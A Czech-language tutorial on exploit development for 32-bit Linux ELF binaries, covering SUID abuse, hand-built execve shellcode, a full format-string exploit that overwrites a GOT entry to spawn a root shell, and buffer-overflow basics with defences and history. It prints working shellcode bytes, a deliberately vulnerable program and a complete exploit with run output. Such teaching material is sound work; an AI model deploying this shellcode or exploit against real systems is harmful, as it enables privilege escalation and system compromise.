Exploity

Martin Zember


Obsah

  1. Úvod
  2. Získání prístupu
    1. SUID bit
  3. Shellkód
    1. Jak se buduje shellkód
    2. Spustení shellkódu
    3. Dalsí shellkódy
  4. Jak a kam vlozit shellkód
    1. Formátovací retezce
      1. Jak muze formátovací retezec ovlivnit beh programu?!
      2. Prepsání pameti - zapsání adresy
      3. Historie
      4. Obrana
    2. Buffer Overflow
      1. Chyba+1
      2. Obrana
      3. Historie
    3. Dalsí zpusoby
  5. Záver
  6. Literatura

Úvod

Tento dokument se týká zivotního cyklu exploitu a snazím se v nem objasnit pohled na bezpecnost na úrovni mezi jádrem nebo knihovnami a aplikací. Aby povídání nemuselo být pouze obecné a mohlo jít více do hloubky, vybral jsem si trídu operacních systému UNIX a binární formát ELF a pokusím se na nem predvést praktickou ukázku zde diskutovaného.

Chci vyuzít moznost vyjádrit svuj názor a strukturou dokumentu chci poukázat na to, ze preferuji praktický výklad pred teoretickým výctem. Nekteré principy proto jsou vysvetleny az poté, co jsou pouzity, v kontrastu se zpusobem, na jaký jsme zvyklý ze skol, kde výuka pro presnost zachází prílis do teorie na úkor souvisu s praxí.

Získání prístupu

K tomu, aby útocník kompromitoval systém, castokrát uzije získání vyssích práv, nez mu puvodne nálezí. Dá se to napríklad vyuzitím chyby v SUID programech.

SUID bit

Kazdý program má moznost mít nastavený SUID-bit, príklad pouzití je program passwd, který vlastní root a má nastavený suid-bit:

            $ ls -l /usr/bin/passwd
            -rwsr-xr-x  1 root root 26616 May 18  2005 /usr/bin/passwd
            $ 
        

To mu umozní zapisovat do souboru, jako jsou /etc/passwd a /etc/shadow. Útocník se snazí vyuzijíce chyby v programu podstrcit príkazy, které mu umozní získat rootovské práva.

Zpusoby podstrcení jsou vzdy necím omezené a omezují príkazy, které bude mozné spustit. Proto je jednodussí spustit shell a mít dále volné ruce. Takový kód, který spustí shell, se nazývá shellkód. Tomu, jakým zpusobem vkládat shellkód, se budeme venovat pozdeji, nyní si rekneme, jak takový shellkód vytvorit.

Shellkód

Jak se buduje shellkód

Budeme napodobovat cinnost následujícího programu:

 
        #include <stdio.h>
        #include <unistd.h>

        int main()
        {
            char * prog[] = { "/bin/sh", NULL };
            execve( prog[ 0], prog, NULL);
            _exit( 0);
        }
    
        gcc -o execveshell execveshell.c -O2 -g -static
        gdb execveshell
        disassemble main
    

-O2 je optimalizace druhého stupne, -g znamená vlození ladících instrukcí a -static je static.

        (gdb) disassemble main
        Dump of assembler samp for function main:
        0x08048220 <main+0>:    push   %ebp 
        0x08048221 <main+1>:    xor    %eax,%eax
        0x08048223 <main+3>:    mov    %esp,%ebp
        0x08048225 <main+5>:    sub    $0x18,%esp
        0x08048228 <main+8>:    and    $0xfffffff0,%esp
        0x0804822b <main+11>:   mov    %eax,0x8(%esp)
        0x0804822f <main+15>:   lea    0xfffffff8(%ebp),%eax
        0x08048232 <main+18>:   movl   $0x8095e88,0xfffffff8(%ebp)
        0x08048239 <main+25>:   movl   $0x0,0xfffffffc(%ebp)
        0x08048240 <main+32>:   mov    %eax,0x4(%esp)
        0x08048244 <main+36>:   movl   $0x8095e88,(%esp)
        0x0804824b <main+43>:   call   0x804df10 <execve>
        0x08048250 <main+48>:   movl   $0x0,(%esp)
        0x08048257 <main+55>:   call   0x804defc <_exit>
        End of assembler dump.
        (gdb) 
    
<main+0>: push %ebp (registr EBP na zásobník - vytvorení lokálního rámce)
<main+1>: xor %eax,%eax
<main+3>: mov %esp,%ebp (ESP ukazuje na vrchol zásobníku) (...obrázek..)
<main+5>: sub $0x18,%esp
Provedl se posun registru, tak se predají parametry volané funkci (budou smerem nahoru od EBP) a vytvorí se prostredí pro lokální promenné funkce (smer dolu od EBP). BTW, parametry funkce se ukládají v opacném poradí - je to dobré pro promenlivý pocet argumentu.
<main+8>: and $0xfffffff0,%esp
<main+11>: mov %eax,0x8(%esp)
<main+15>: lea 0xfffffff8(%ebp),%eax
<main+18>: movl $0x8095e88,0xfffffff8(%ebp)
<main+25>: movl $0x0,0xfffffffc(%ebp)
<main+32>: mov %eax,0x4(%esp)
<main+36>: movl $0x8095e88,(%esp) - a to je co za parametr?
<main+43>: call 0x804df10 <execve> volání knihovní funkce
<main+48>: movl $0x0,(%esp)
<main+55>: call 0x804defc <_exit>

Na rádku 36 se pouzije adresa retezce "/bin/sh", jak muzeme overít:

        (gdb) printf "%s\n", 0x8095e88
        /bin/sh
    
My nebudeme pouzívat knihovní funkci execve, ale volání 0x80. Do pameti budeme ukládat argumenty funkce. Které? Jako v nasem céckovském programu.
        man execve
    
nám rekne o execve v SYNOPSIS:
int execve(const char *filename, char *const argv [], char *const envp[]);
envp ponecháme NULL, filename je prímo retezec "/bin/sh", ale jak získat pointer na tento retezec? Pouzijeme instrukci call:
        start:
            jmp finta
        shellkod:
            popl %esi
            .
            .
            .
        finta:
            call shellkod
            "/bin/sh"
    
Instrukce nám zarucí, ze adresa retezce bude pod vrcholem zásobníku. Vytáhneme jej pomocí popl.
        popl %esi
        movl %esi, 0x8(%esi)
    
Syntaxe 0x8(%esi) znamená 8 bytu za %esi (tedy scítání) a movl ukládá pointer na místo, kde má být druhý argument execve.
        movl 0x0, 0xc(%esi)
        movb 0x0, 0x7(%esi)
    
movb narozdíl od movl ukládá pouze 1 byte. Snazím se ulozit nulu (dlouhou) do envp (coz znamená, ze pole má být prázdné) a nulu (byte) jako ukoncovací znak retezce "/bin/sh". Ale, kdyz tyto instrukce pouziju jako shellkod zabalený v retezci, bude obsahovat nulové byty. Kdyz budu chtít tento shellkód predávat nejaké funkci zpracovávající retezce, bude si myslet o nule, která je uprostred, ze je to nula urcující konec retezce. Obejít se to dá napr. takhle:
        xor %eax, %eax
        movl %eax, 0xc(%esi)
        movb %al, 0x7(%esi)
    
Pro strucnost nepouziju klasické volání _execve a _exit...
        vi /usr/include/asm/unistd.h 
    

...tam jsou císla systémových volání; vidím, ze exit má císlo 1 a execve 11.

Výsledný shellkód:
    //shellkod1.c
    //
    int main() {
        __asm__ __volatile__(" ; \
                jmp finta ; \
            shellkod: ; \
                popl %esi ; \
                movl %esi, 0x8(%esi) ; \
                xorl %eax, %eax         /* vyrob nulu */ ; \
                movl %eax, 0xc(%esi) ; \
                movb %al, 0x7(%esi) ; \
                movb $0xb, %al          /* execve, nikoliv knihovni fce */ ; \
                movl %esi, %ebx         /* 1. parametr execve */ ; \
                leal 0x8(%esi), %ecx    /* 2. parametr execve */ ; \
                int $0x80               /* volej execve */ ; \
                xorl %ebx, %ebx         /* navratova hodnota exitu */ ; \
                xorl %eax, %eax ; \
                inc %eax                /* 1 = _exit */ ; \
                int $0x80               /* volej exit */ ; \
            finta: call shellkod ; \
            .string \"/bin/sh\" ; \
        ");
    }

    
Zkusme, jestli funguje.
        $ gcc -o shellkod1 shellkod1.c
        $ ./shellkod1 
        Segmentation fault
    

Ne, a to protoze má zamítnutý prístup do pameti. Nás kód se snazí modifikovat sám sebe, ale nachází se v oblasti pameti, kde zápis není povolen, jak je videt z tabulky mapování do pameti:

        $ readelf -l ./shellkod1

        Elf file type is EXEC (Executable file)
        Entry point 0x8048290
        There are 7 program headers, starting at offset 52

        Program Headers:
          Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
          PHDR           0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
          INTERP         0x000114 0x08048114 0x08048114 0x00013 0x00013 R   0x1
              [Requesting program interpreter: /lib/ld-linux.so.2]
          LOAD           0x000000 0x08048000 0x08048000 0x004b4 0x004b4 R E 0x1000
          LOAD           0x0004b4 0x080494b4 0x080494b4 0x00100 0x00104 RW  0x1000
          DYNAMIC        0x0004c4 0x080494c4 0x080494c4 0x000c8 0x000c8 RW  0x4
          NOTE           0x000128 0x08048128 0x08048128 0x00020 0x00020 R   0x4
          STACK          0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

         Section to Segment mapping:
          Segment Sections...
           00     
           01     .interp 
           02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version 
                  .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata 
           03     .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss 
           04     .dynamic 
           05     .note.ABI-tag 
           06     
    

Proto presuneme kód z cásti .text do .data. Segmenty sice muzou mít príznak spustitelnosti, stránky vsak ne - tedy na x86 tento príznak nic neznamená. V sekci .data se nám nebude kompilovat - zkompilujeme si jej sami a prelozenou podobu opíseme do retezce.

        $ objdump -d ./shellkod1
        ...
        ...
        ...

        08048354 <main>:
         8048354:       55                      push   %ebp
         8048355:       89 e5                   mov    %esp,%ebp
         8048357:       83 ec 08                sub    $0x8,%esp
         804835a:       83 e4 f0                and    $0xfffffff0,%esp
         804835d:       b8 00 00 00 00          mov    $0x0,%eax
         8048362:       29 c4                   sub    %eax,%esp
         8048364:       eb 1c                   jmp    8048382 <finta>

        08048366 <shellkod>:
         8048366:       5e                      pop    %esi
         8048367:       89 76 08                mov    %esi,0x8(%esi)
         804836a:       31 c0                   xor    %eax,%eax
         804836c:       89 46 0c                mov    %eax,0xc(%esi)
         804836f:       88 46 07                mov    %al,0x7(%esi)
         8048372:       b0 0b                   mov    $0xb,%al
         8048374:       89 f3                   mov    %esi,%ebx
         8048376:       8d 4e 08                lea    0x8(%esi),%ecx
         8048379:       cd 80                   int    $0x80
         804837b:       31 db                   xor    %ebx,%ebx
         804837d:       31 c0                   xor    %eax,%eax
         804837f:       40                      inc    %eax
         8048380:       cd 80                   int    $0x80

        08048382 <finta>:
         8048382:       e8 df ff ff ff          call   8048366 <shellkod>
         8048387:       2f                      das    
         8048388:       62 69 6e                bound  %ebp,0x6e(%ecx)
         804838b:       2f                      das    
         804838c:       73 68                   jae    80483f6 <__libc_csu_init+0x56>
         804838e:       00 c9                   add    %cl,%cl
         8048390:       c3                      ret    
         8048391:       90                      nop   

        ...
        ...
    

Opíseme hexa podobu, bude nám stacit od instrukce jmp <finta>. Za instrukcí call <shellkod> nejsou instrukce, ale retezec "/bin/sh".

Výsledný shellkód tedy bude retezec

        \xeb\x1c\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46
        \x07\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31
        \xc0\x40\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh
    

Shellkód: finále - spustení retezce

Overíme, ze nám shellkód funguje, metodou prepsání návratové adresy z funkce main().

        #include <stdio.h>

        char shellkod[] =
          "\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3"
          "\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh";

        int main() {
            int *ret;
            *( ( int *) & ret + 2) = (int) shellkod;
            return 0;
        }
    
        $ gcc -o fungujeshellkod fungujeshellkod.c 
        $ echo $$
        3269
        $ ./fungujeshellkod 
        $ echo $$
        3947
        $ exit
        $ echo $$
        3269
    

....tedy vskutku funguje.

Jak se shellkód spustil: Prí volání funkce (v nasem prípade main()) se vytvorí lokální rámec a na zásobník se ulozí adresa predeslého rámce, adresa, kde program pokracuje z návratu funkce a lokální promenné. Tedy adresa lokální promenné ret je o 2B pod návratovou adresou, kterou hledáme a kam stací vlozit ukazatel na shellkód retezec [1].

Pamet

Pro snazsí pochopení je mozné si udelat predstavu o strukture pameti:

argumenty,
environment

zásobník (smerem dolu)
.
.
.



.
.
.
halda (nahoru)

bss

data

kód
zásobník
- registr ESP ukazuje na vrchol zásobníku, kdyz zapísu data na zásobník, hodnota v registru se zmensuje
- registr EBP souvisí s volanou funkcí - ukazuje na lokální promenné, nad touto adresou se nacházejí parametry funkce [2].

Dalsí shellkódy

Základní

Aleph One

Jde o výse popsaný shellkód. Princip vyzvednutí adresy "/bin/sh" spocívá v pouzití instrukce call, adresa se potom nachází kousek nad vrcholem zásobníku.

Netric

Na zásobník se ulozí retezec "/bin//sh", aby byl zarovnaný po 4B a nebyl doplnen koncovým nulovým bytem. Adresa se vyzvedne z registru ESP (vrchol zásobníku). Tento shellkód je krátký a muze být umísten i do cásti pouze pro ctení.

Nezávislý

Nezávislý shellkód je prenositelný, tedy pouzitelný na více OS nebo architekturách. Vyuzívá skoky nebo magický retezec.

Shellkód nezávislý na OS vyuzívající skoky

Shellkód obsahuje jednoduché vetvení a podle specifikací operacních systému se vybere zpusob, jakým se spustí shell. Bezí na jedné architekture.
Príklad: shellkód pro FreeBSD, OpenBSD a Linux rozlisí podle obsahu registru FS, na cem je spusten. Pod Linuxem je register FS nastaven na nulu, pod *BSD na jinou hodnotu. Shellkód bude obsahovat test na nulu v registru a podle toho skok na príslusné pokracování:
                 ...
                 movw %fs, %ax
                 incb %al
                 cmpb $1, %al
                 jz linux

        bsd:
                 ...
                 ...

        linux:
                 ...
                 ...
                
Ovsem, i tady je vhodné pouzít nenulové instrukce a porovnat (++%fs)==1.

Shellkód s magickým retezcem

Je pouzitelný na více architekturách. Lze to docílit uvedením nejakého magického retezce, který pro jednu architekturu znamená skok na správnou cást shellkódu, platnou pro danou architekturu, a pro druhou zas nevinné instrukce, které nic nevykonají. Napríklad
                        0x90 0x90 0xeb 0x30
                    
znamená na architekture x86 dve NOP instrukce, JMP, 48B offset, zatímco na Sparcu jde o nevinné instrukce OR, které jen ovlivní registr %o0. Hledání takového retezce je slozitejsí. Zabývá se tím clánek v magazínu Phrack cislo 57 (desítkové) [3] a kódy pro mnozství architektur zpracovala skupina Last Stage of Delirium.

Bindshell

Tento shellkód spustí shell a navíc propojí vstup a výstup s nejakým portem pocítace. Na pocítac se potom dá pripojit vzdálene a zadávat príkazy.

Alfanumerický

Muze to být kterýkoliv z výse zmínených, lisí se pouze reprezentací. Je sestaven pouze z písmen a císlic. To mu umoznuje být vlozen do míst, kde je vstup kontrolován filtry a kudy by nealfanumerické znaky neprosly. Jednotlivé instrukce se nahradí jinými, které ale ve výsledném efektu vykonají to samé. Zabývá se tím [7].

Polymorfní

Obranou proti útokum je hledání shellkódu podle tzv. signatur, tedy krátkých retezcu, cástí shellkódu. Jiz dávno pouzívaly viry techniky polymorfismu k tomu, aby menily podobu a antiviry je nemohly najít pouze porovnáváním, jestli se známy retezec vyskytuje ve scanovaných datech.
Základními prístupy, které se pouzívají, jsou:

Jak a kam vlozit shellkód

Videli jsme, jak se vyvárejí a jak fungují shellkódy. V dalsí cásti bych se rád podíval na to, jak je muze útocník vyuzít k získání kontroly nad systémem. Opet zacnu praktickou ukázkou a az pozdeji se pokusím o taxonomii.

Zpusob, který se uzívá asi nejcasteji, je vyuzití chyby pretecení mimo meze pole (buffer overflow). Bylo uz o nem napsáno hodne. Jako metodu do detailní ukázky jsem radejivybral vyuzití chyby formátovacího retezce, protoze jde jeste dál a je novejsí - byla objevena pozdeji a svého casu zvírila zájem okolí.

Formátovací retezce

Jak muze formátovací retezec ovlivnit beh programu?!

Formátovací retezce pouzívá napr. printf:
%s, %d - ctou retezec, císlo
%n - zapisuje # doposud vypsaných znaku

          int a=123;
          char buffer[ 4];
          snprintf( buffer, 4, "%.5d", a);
          printf( "%.5d\n", a);
          printf( "%s\n", buffer);
       

pokud u funkce snprintf pouziju %n, vypíse se 5

        #include <stdio.h> 

        int main() {
          int a=123, b;
          char buffer[ 4];
          snprintf( buffer, 4, "%.5d%n", a, &b);
          printf( "co ukládám:                                 %.5d\n", a);
          printf( "do bufferu se ulozilo:                      %s\n", buffer);
          printf( "kolik si sprintf myslí, ze jiz vypsal (%%n): %d\n", b);
        }
    
        $ ./snprintf
        00123
        001
        $
    

muzu vastne do cítace fce printf() (do %n) zapsat libovolnou hodnotu.

Prepsání pameti - zapsání adresy

Chyba se nachází v tomto programu:

        //2snprintf.c

        #include <stdio.h>

        int main( int argc, char **argv) {
            char buffer[ 256];
            snprintf( buffer, sizeof( buffer), argv[ 1]);
            printf( "%s\n", buffer);
            return 0;
        }
    
        $ gcc -o 2snprintf 2snprintf.c
    

Ted zjistím, na kolikátém jakoby-argumentu funkce printf se nachází pametové místo pro buffer.

        $ ./2snprintf 'abcd%1$x'
        abcd1
        $ ./2snprintf 'abcd%2$x'
        abcd64636261
        $ ./2snprintf 'abcd%3$x'
        abcd0
        $ ./2snprintf 'abcd%4$x'
        abcd1
        $ ./2snprintf 'abcd%5$x'
        abcdbffff8c4
    

Tady se ulozilo abcd do buffer, a za ním %2$x, coz byl druhý argument v printf (kde ale druhý uz nebyl, tedy sahal nekam do pameti, konkrétne adresa druhého argumentu bylo práve hledané místo buffer.

        $ objdump -R 2snprintf

        2snprintf:     file format elf32-i386

        DYNAMIC RELOCATION RECORDS
        OFFSET   TYPE              VALUE 
        0804962c R_386_GLOB_DAT    __gmon_start__
        08049620 R_386_JUMP_SLOT   __libc_start_main
        08049624 R_386_JUMP_SLOT   printf
        08049628 R_386_JUMP_SLOT   snprintf
    

Adresu funkce printf vlozíme do retezce takto:

        $ printf '\x24\x96\x04\x08'
        $$ 
        $ ./2snprintf `printf '\x24\x96\x04\x08'`
        $ 
        $
    

No... nic nevidíme, ale, vzdyt jsou to neviditelné znaky...

Dále potrebujeme zjistit adresu, kde se bude nacházet shellkód. Tu vypoctu pomocí vzorce 0xbffffffa - strlen( shellkód) - strlen( "./2snprintf") = 3221225466 - 45 - 11 = 3221225410 = 0xbfffffc2. Adresa 0xbffffffa je totiz adresa, kde zacíná zásobník, a platí pro kazdý proces. Zmensím ji o 4 kvuli adrese, kterou vkladám do formátovacího retezce - zabírá práve 4B.

        $ ./2snprintf '\x24\x96\x04\x08%.3221225406x%2$n'
        Segmentation fault
    

Program se snazí alokovat pamet o velikosti asi 3GB.

Trik: zapisuji na 08049624, zapisovat 2B místo 4B budu:

Nejdrív to mensí (0xbfff) - cítac se jen zvysuje. Rozdíl je 0x3fc5.
První císlo se musí zmensit o 8B (dve adresy).
0xffc2 = 65474

Naflákáme to za sebe:

        \x24\x96\x04\x08\x26\x96\x04\x08%.49143x%3hn%.16323x%2$hn
    

Hotový exploit:

        #include <stdio.h>
        #include <string.h>
        #include <unistd.h>

        char shellkod[] =
          "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
          "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
          "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        int main() {
            char pole[ 128];
            char *argv[ 3] = { "./2snprintf", pole, NULL };
            char *env[ 2] = { shellkod, NULL };
            int adresa = 0xbffffffa - strlen( shellkod) - strlen( "./2snprintf");
            //int adresa = 0xbfffffc2;

            printf( "Shellkod: %x\n", adresa);
            strcpy( pole, "\x24\x96\x04\x08\x26\x96\x04\x08%.49143x%3$hn%.16323x%2$hn");
            execve( argv[ 0], argv, env);
            //return 0;
        }
    

Jak to jde?

        $ gcc -o exploit exploit.c
        $ echo $$
        3269
        $ ./exploit 
        Shellkod: bfffffc2
        $ echo $$
        5587
        $ exit
        $ echo $$
        3269
    

Historie

Tento zpusob byl objeven kolem roku 1999, první publikovaný exploit byl zrejme na wuftpd (a byl to tzv. remote root, tedy umoznoval získat rootovská práva zvenku) [4].

Obrana

Docela jednoduché pomocí statické detekce - stací najít v zdrojovém souboru, kde jsou funkce, které vyuzívají formátovací retezce a zkontrolovat, je-li formátovací retezec "jistý".

Buffer overflow

V jazyku C je pole realizováno jako ukazatel a dalsí polozky jako posunutí vzhledem k tomuto ukazateli. Kdyz je posunutí vetsí, nez velikost alokované pameti, dochází k zápisu mimo meze pole. Vyskytuje se budto v chybne napsaném programu (viz chyba+1 dále), nebo pri kopírování vetsího mnozství dat (od uzivatele), nez je alokovaného prostoru pro cílové pole.

Útocník muze chybu v takto napsaném programu vyuzít následujícími zpusoby:

Chyba+1

V tomto príkladu je spatná podmínka v cyklu.

        int hotovost=10000;
        int pole[ 10];
        for ( int i=0; i <= 10; ++i)
            pole[ i] = 0;
    

Cyklus zapisuje o jednu polozku víc, nez má, a zapisuje do pameti, která uz patrí promenné hotovost.

Obrana

Kazdé data, které pocházejí z vnejsku, je nutné omezit pri kopírování do pameti. Príklad je pouzití strncpy místo nezbecného strcpy.

Jednou z mozností je pouzít automatickou kontrolu proti pretecení jiz na úrovni jazyka, treba i volba vhodného jazyka muze být na míste.

Existují gcc patche pro kontrolu, jestli se nezmenil zásobník po návratu z funkce.

Lze centralizovat zpracování dat do správne napsaných knihoven, které budou obsahovat potrebné kontroly.

Nekteré OS dnes obsahují moznost zabránit spustení dat na zásobníku.

Sledování paketu ze síte umozní odhalit nekteré útoky zvenku pomocí hledání signatur.

Historie

Tento zpusob byl poprvé objeven v roce 1988 [6]. Vyuzíval jej taky známy Morrisuv internetový cerv (exploitoval démona fingerd).

Zminovaný text Smashing The Stack For Fun And Profit[1] opisuje jeden zpusob pretecení dost podrobne.

Dalsí zpusoby

Záver

V tomto textu jsem pokryl pouze úzkou cást tematu bezpecnosti systému. Snazil jsem se vrhnout svetlo na principy nízkoúrovnového programování útoku. Jsem rád, ze jsem mohl tento dokument psát a tím si i rozsírit svuj obzor.

Ackoli nekteré pristupy, jako pretecení pole, jsou jiz dlouho známé, na druhou stranu priklad formátovacích retezcu nám ukazuje, ze bezpecnost je oblast, která se vyvíjí a je mozné, ze v budoucnu budou objeveny nové zpusoby. Uvidíme, ze ve svete, ve kterém se pohybujeme, jsou veci, o kterých nevíme. Tesím se na to.

Literatura

  1. Aleph One. Smashing The Stack For Fun And Profit.
    http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/BufferOverflow/alephOne.html
  2. Miroslav Dobsícek, Radim Ballner. Linux - bezpecnost a exploity. Nakladelství Kopp 2004.
  3. eugene. Architecture Spanning Shellcode. (Phrack vol. 57, File #14).
    http://www.phrack.org/show.php?p=57&a=14
  4. Wikipedia, the free encyclopedia. Format string attack.
    http://en.wikipedia.org/wiki/Format_string_bug
  5. Phrack Staff. Phrack magazine.
    www.phrack.org
  6. Wikipedia, the free encyclopedia. Buffer overflow.
    http://en.wikipedia.org/wiki/Buffer_overflow

    Dalsí literatura

  7. rix. Writing ia32 alphanumeric shellcodes. (Phrack vol. 57, File #15).
    http://www.phrack.org/show.php?p=57&a=15
  8. bob from dtors.net. Shellcoding.txt.
    http://utopia.duth.gr/~sn7895/shellcodin.txt
  9. David A. Wheeler. The Linux Documentation Project. Secure Programming for Linux and Unix HOWTO: Chapter 7. Structure Program Internals and Approach.
    http://www.asta.va.fh-ulm.de/LDP/HOWTO/Secure-Programs-HOWTO/internals.html
  10. Core Team. Vulnerabilities in your code - Format strings
    http://webx.ntu.edu.sg/ACM-SIG-Security/downloads/core_format_strings.pdf